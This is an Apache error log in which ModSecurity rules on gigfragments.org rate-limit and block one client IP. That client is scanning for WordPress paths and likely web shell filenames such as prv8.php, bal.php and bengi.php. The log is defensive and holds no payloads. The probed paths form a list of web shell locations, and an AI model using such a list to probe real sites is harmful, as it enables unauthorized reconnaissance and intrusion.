[Thu Apr 16 06:10:50.422368 2026] [:error] [pid 49094:tid 49114] [client 20.215.49.170:58747] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "aeAM6jbDwvcXorHR_MyGLQAAAVI"]
[Thu Apr 16 06:10:51.137578 2026] [:error] [pid 49094:tid 49109] [client 20.215.49.170:54773] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "aeAM6zbDwvcXorHR_MyGMAAAAU0"]
[Thu Apr 16 06:10:51.775717 2026] [:error] [pid 49094:tid 49099] [client 20.215.49.170:64576] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aeAM6zbDwvcXorHR_MyGNAAAAUM"]
[Thu Apr 16 06:10:52.375285 2026] [:error] [pid 49094:tid 49115] [client 20.215.49.170:58730] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aeAM7DbDwvcXorHR_MyGOgAAAVM"]
[Thu Apr 16 06:10:53.426462 2026] [:error] [pid 57538:tid 57609] [client 20.215.49.170:5883] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aeAM7cuMaiEF5SVR2BcyUQAAAIc"]
[Thu Apr 16 06:10:54.039309 2026] [:error] [pid 49094:tid 49099] [client 20.215.49.170:54981] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aeAM7jbDwvcXorHR_MyGRwAAAUM"]
[Thu Apr 16 06:10:54.721703 2026] [:error] [pid 49094:tid 49115] [client 20.215.49.170:5448] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aeAM7jbDwvcXorHR_MyGSQAAAVM"]
[Thu Apr 16 06:10:55.448328 2026] [:error] [pid 49094:tid 49103] [client 20.215.49.170:58317] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aeAM7zbDwvcXorHR_MyGTwAAAUc"]
[Thu Apr 16 06:10:56.159517 2026] [:error] [pid 57639:tid 57652] [client 20.215.49.170:58720] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aeAM8KMCQoTw7TsxWunFlgAAAMY"]
[Thu Apr 16 06:10:59.635002 2026] [autoindex:error] [pid 29603:tid 29623] [client 20.215.49.170:5482] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 16 06:11:18.792569 2026] [:error] [pid 29603:tid 29614] [client 20.215.49.170:5482] [client 20.215.49.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeANBlfGOR6fpTWUAzq_dgAAAQk"]
[Thu Apr 16 06:11:20.865599 2026] [:error] [pid 57537:tid 57580] [client 20.215.49.170:63896] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aeANCFVQRS8nm73ENAkwZwAAAEU"]
[Thu Apr 16 06:11:22.461038 2026] [:error] [pid 29603:tid 29610] [client 20.215.49.170:61103] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aeANClfGOR6fpTWUAzq_ewAAAQU"]
[Thu Apr 16 06:11:23.191289 2026] [:error] [pid 57537:tid 57591] [client 20.215.49.170:62672] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aeANC1VQRS8nm73ENAkwbQAAAFA"]
[Thu Apr 16 06:11:24.307885 2026] [:error] [pid 49094:tid 49114] [client 20.215.49.170:58274] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aeANDDbDwvcXorHR_MyGeAAAAVI"]
[Thu Apr 16 06:11:25.405389 2026] [:error] [pid 57538:tid 57609] [client 20.215.49.170:63024] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aeANDcuMaiEF5SVR2BcyeAAAAIc"]
[Thu Apr 16 06:11:26.340921 2026] [:error] [pid 57639:tid 57659] [client 20.215.49.170:5567] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aeANDqMCQoTw7TsxWunFugAAAM0"]
[Thu Apr 16 06:11:27.429029 2026] [:error] [pid 49094:tid 49103] [client 20.215.49.170:53755] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aeANDzbDwvcXorHR_MyGgAAAAUc"]
[Thu Apr 16 06:11:28.313331 2026] [:error] [pid 29603:tid 29620] [client 20.215.49.170:56343] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aeANEFfGOR6fpTWUAzq_hQAAAQ8"]
[Thu Apr 16 06:11:30.041713 2026] [:error] [pid 49094:tid 49118] [client 20.215.49.170:5536] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aeANEjbDwvcXorHR_MyGhQAAAVY"]
[Thu Apr 16 06:11:31.273057 2026] [:error] [pid 29603:tid 29611] [client 20.215.49.170:62769] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aeANE1fGOR6fpTWUAzq_jwAAAQY"]
[Thu Apr 16 06:11:32.442156 2026] [:error] [pid 49094:tid 49103] [client 20.215.49.170:62727] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aeANFDbDwvcXorHR_MyGjQAAAUc"]
[Thu Apr 16 06:11:33.724101 2026] [:error] [pid 57536:tid 57564] [client 20.215.49.170:56352] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aeANFSQU4faGja6jpDt9wAAAABA"]
[Thu Apr 16 06:11:34.436191 2026] [:error] [pid 57537:tid 57580] [client 20.215.49.170:61880] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/prv8.php"] [unique_id "aeANFlVQRS8nm73ENAkwdAAAAEU"]
[Thu Apr 16 06:11:35.345077 2026] [:error] [pid 57538:tid 57602] [client 20.215.49.170:63671] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/prv8.php"] [unique_id "aeANF8uMaiEF5SVR2BcygwAAAIA"]
[Thu Apr 16 06:11:36.092873 2026] [:error] [pid 57537:tid 57584] [client 20.215.49.170:61228] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/prv8.php"] [unique_id "aeANGFVQRS8nm73ENAkwdQAAAEk"]
[Thu Apr 16 06:11:36.935866 2026] [:error] [pid 57537:tid 57598] [client 20.215.49.170:61245] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/prv8.php"] [unique_id "aeANGFVQRS8nm73ENAkweAAAAFc"]
[Thu Apr 16 06:11:37.576366 2026] [:error] [pid 57538:tid 57623] [client 20.215.49.170:51946] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aeANGcuMaiEF5SVR2BcyiAAAAJU"]
[Thu Apr 16 06:11:38.296273 2026] [:error] [pid 57538:tid 57621] [client 20.215.49.170:62760] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aeANGsuMaiEF5SVR2BcyigAAAJM"]
[Thu Apr 16 06:11:39.056773 2026] [:error] [pid 57639:tid 57653] [client 20.215.49.170:53721] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aeANG6MCQoTw7TsxWunFvQAAAMc"]
[Thu Apr 16 06:11:40.372462 2026] [:error] [pid 57538:tid 57604] [client 20.215.49.170:54833] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aeANHMuMaiEF5SVR2BcykQAAAII"]
[Thu Apr 16 06:11:41.474106 2026] [:error] [pid 57538:tid 57618] [client 20.215.49.170:53024] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev.php"] [unique_id "aeANHcuMaiEF5SVR2BcymAAAAJA"]
[Thu Apr 16 06:11:42.322586 2026] [:error] [pid 57538:tid 57611] [client 20.215.49.170:61862] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev.php"] [unique_id "aeANHsuMaiEF5SVR2BcymwAAAIk"]
[Thu Apr 16 06:11:43.166051 2026] [:error] [pid 57538:tid 57614] [client 20.215.49.170:64640] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev.php"] [unique_id "aeANH8uMaiEF5SVR2BcyoAAAAIw"]
[Thu Apr 16 06:11:43.843727 2026] [:error] [pid 57538:tid 57612] [client 20.215.49.170:62771] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev.php"] [unique_id "aeANH8uMaiEF5SVR2BcyogAAAIo"]
[Thu Apr 16 06:11:44.677831 2026] [:error] [pid 57639:tid 57646] [client 20.215.49.170:56375] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bal.php"] [unique_id "aeANIKMCQoTw7TsxWunFvwAAAMA"]
[Thu Apr 16 06:11:45.976163 2026] [:error] [pid 57536:tid 57554] [client 20.215.49.170:63650] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bal.php"] [unique_id "aeANISQU4faGja6jpDt9xQAAAAY"]
[Thu Apr 16 06:11:47.007154 2026] [:error] [pid 57639:tid 57665] [client 20.215.49.170:63651] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bal.php"] [unique_id "aeANI6MCQoTw7TsxWunFxgAAANM"]
[Thu Apr 16 06:11:47.977426 2026] [:error] [pid 49094:tid 49106] [client 20.215.49.170:61854] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bal.php"] [unique_id "aeANIzbDwvcXorHR_MyGmAAAAUo"]
[Thu Apr 16 06:11:49.130878 2026] [:error] [pid 49094:tid 49114] [client 20.215.49.170:64659] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/in.php"] [unique_id "aeANJTbDwvcXorHR_MyGmwAAAVI"]
[Thu Apr 16 06:11:50.541702 2026] [:error] [pid 49094:tid 49105] [client 20.215.49.170:56356] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/in.php"] [unique_id "aeANJjbDwvcXorHR_MyGoAAAAUk"]
[Thu Apr 16 06:11:51.610136 2026] [:error] [pid 29603:tid 29620] [client 20.215.49.170:62782] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/in.php"] [unique_id "aeANJ1fGOR6fpTWUAzq_nAAAAQ8"]
[Thu Apr 16 06:11:52.307291 2026] [:error] [pid 29603:tid 29618] [client 20.215.49.170:56554] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/in.php"] [unique_id "aeANKFfGOR6fpTWUAzq_nwAAAQ0"]
[Thu Apr 16 06:11:53.101562 2026] [:error] [pid 57536:tid 57563] [client 20.215.49.170:52822] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gssdd.php"] [unique_id "aeANKSQU4faGja6jpDt9xgAAAA8"]
[Thu Apr 16 06:11:54.156816 2026] [:error] [pid 57537:tid 57590] [client 20.215.49.170:62693] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gssdd.php"] [unique_id "aeANKlVQRS8nm73ENAkwhAAAAE8"]
[Thu Apr 16 06:11:54.884399 2026] [:error] [pid 57537:tid 57584] [client 20.215.49.170:52856] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gssdd.php"] [unique_id "aeANKlVQRS8nm73ENAkwhwAAAEk"]
[Thu Apr 16 06:11:55.872483 2026] [:error] [pid 49094:tid 49111] [client 20.215.49.170:52845] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gssdd.php"] [unique_id "aeANKzbDwvcXorHR_MyGpgAAAU8"]
[Thu Apr 16 06:11:56.864514 2026] [:error] [pid 49094:tid 49114] [client 20.215.49.170:5354] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aeANLDbDwvcXorHR_MyGrQAAAVI"]
[Thu Apr 16 06:11:57.746018 2026] [:error] [pid 49094:tid 49113] [client 20.215.49.170:56535] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aeANLTbDwvcXorHR_MyGsgAAAVE"]
[Thu Apr 16 06:11:58.383398 2026] [:error] [pid 57639:tid 57657] [client 20.215.49.170:61101] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aeANLqMCQoTw7TsxWunFzwAAAMs"]
[Thu Apr 16 06:11:59.193012 2026] [:error] [pid 49094:tid 49116] [client 20.215.49.170:52227] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aeANLzbDwvcXorHR_MyGuwAAAVQ"]
[Thu Apr 16 06:12:00.025082 2026] [:error] [pid 57639:tid 57656] [client 20.215.49.170:57829] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aeANMKMCQoTw7TsxWunF0AAAAMo"]
[Thu Apr 16 06:12:00.613710 2026] [:error] [pid 57536:tid 57550] [client 20.215.49.170:61973] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aeANMCQU4faGja6jpDt9yAAAAAI"]
[Thu Apr 16 06:12:01.312082 2026] [:error] [pid 57536:tid 57557] [client 20.215.49.170:5741] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aeANMSQU4faGja6jpDt9yQAAAAk"]
[Thu Apr 16 06:12:01.968820 2026] [:error] [pid 57639:tid 57647] [client 20.215.49.170:5733] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aeANMaMCQoTw7TsxWunF0QAAAME"]
[Thu Apr 16 06:12:02.567694 2026] [:error] [pid 57639:tid 57661] [client 20.215.49.170:62010] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bengi.php"] [unique_id "aeANMqMCQoTw7TsxWunF0wAAAM8"]
